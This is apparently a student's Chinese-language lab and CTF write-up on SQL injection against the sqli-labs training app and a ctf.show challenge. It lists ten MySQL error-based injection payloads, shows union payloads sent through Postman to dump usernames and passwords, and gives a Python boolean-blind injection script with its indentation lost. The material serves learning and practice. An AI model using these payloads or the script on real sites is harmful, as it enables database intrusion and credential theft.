SQL注入之盲注型,报错型,postman软件的使用

SQL数字型注入

1.打开虚拟机win10hei的phpstudy,开启Apache和Mysql,使用php5.5.9,打开网站,点击sqli,点击下图圈内的数据,初始化数据库。
image.png
2.进入第二关,按键盘的F12,点击HackBar,输入http://192.168.17.128/sqli/Less-2/?id=1,没报错,我们要找的是报错点
image.png
3.查看第二关的代码,发现这关的解法是数字型注入
image.png
4.id=1 后面加 order by 4,发现字段没有四列,所以一般是3列。开始查表。和之前的一样的套路,union联合注入
image.png
5.查字段名
image.png
6.查字段,得到我们想要的结果
image.png
7.十种常见的SQL报错函数 (注意:函数前用and连接)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

(extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -

(updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -

geometrycollection((select * from(select * from(select user())a)b))-- -

multipoint((select * from(select * from(select user())a)b))-- -

polygon((select * from(select * from(select user())a)b))-- -

multipolygon((select * from(select * from(select user())a)b))-- -

linestring((select * from(select * from(select user())a)b))-- -

multilinestring((select * from(select * from(select user())a)b))-- -

exp(~(select * from(select user())a))-- -

postman软件的使用

1.在虚拟机win10hei的火狐浏览器访问老师给的ctf show题目链接:http://2bedbecd-56d1-426b-a35a-4b49deea4522.challenge.ctf.show/
image.png
2.键入F12,点击网络,点击重新加载,找到API,即名字为v3.php?page=1&limit=10的文件,复制右边栏GET请求的网址,粘贴到postman的发包框内
image.png
image.png
3.发送请求方式选择GET,在表格第三行输入id和1,点击send,查询到了id=1的用户名和密码。然后找闭合点,在1的后面加单引号,再点击send,发现底栏报错,说明1’是闭合点
image.png
image.png
4.1’的后面加order by 4 – -判断数据表是否有4列,结果报错,改成order by 3 – -,可以显示数据,说明只有3列
image.png
5.查字段名,把1改成-1,在表格1’后面使用union联合sql语句,和之前的报错型的步骤基本相同
-1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='ctfshow_user3' and table_schema=database();-- -
6.查字段,在表格1’后面使用union联合sql语句。
-1' union select 1,2,group_concat(id,"~",username,"~",password) from ctfshow_user3 ;-- -
因为我们要得到的是username=’flag’的密码,所以要删除username,最终为
-1' union select 1,2,group_concat(id,"~",username,"~",password) from ctfshow_user3 ;-- -
image.png

SQL注入之盲注型,布尔

1.SQL注入理论
(1)SQL注入的含义:SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作。
(2)
Image.png
(3)
Image.png
(4)
Image.png
(5)
Image.png
(6)
Image.png
2.id=1'and ascii(substring(database(),1,1))=115--+,根据提供的语句,以sqli的第6关为例,编写一个SQL盲注的python脚本并运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

session = requests.session()

url = 'http://192.168.17.128/sqli/Less-6/?id=1"'


def db():
name = ""
for i in range(1, 50):
begin = 32
end = 128
tmp = (begin + end) // 2
while begin < end:
paramsGet = url + "/**/and/**/ascii(substring((select group_concat(id,username,password) from users),{0},1))>{1}--+".format(
i, tmp)
response = session.get(paramsGet)
if 'You are in...........' in response.text:
begin = tmp + 1
tmp = (begin+end) // 2
else:
end = tmp
tmp = (begin+end) // 2
if tmp == 32:
break
name += chr(tmp)
print(name)


db()

分析如下:
(1)import requests:导入 requests 模块,用于发送 HTTP 请求。
(2)session = requests.session():创建一个 requests 会话(session)对象。
(3)url = ‘http://192.168.17.128/sqli/Less-6/?id=1"':设置目标 URL,其中 id 参数的值为 1”,这里是一个潜在的注入点。
(4)利用名为 db 的函数,从数据库中逐个获取字符来构建字符串。代码通过二分法逐个猜测每个字符的 ASCII 值,并通过注入的操作获取其中的数据。
3.得到我们想要的字段。
image.png

Contents
  1. 1. SQL数字型注入
  2. 2. postman软件的使用
  3. 3. SQL注入之盲注型,布尔
|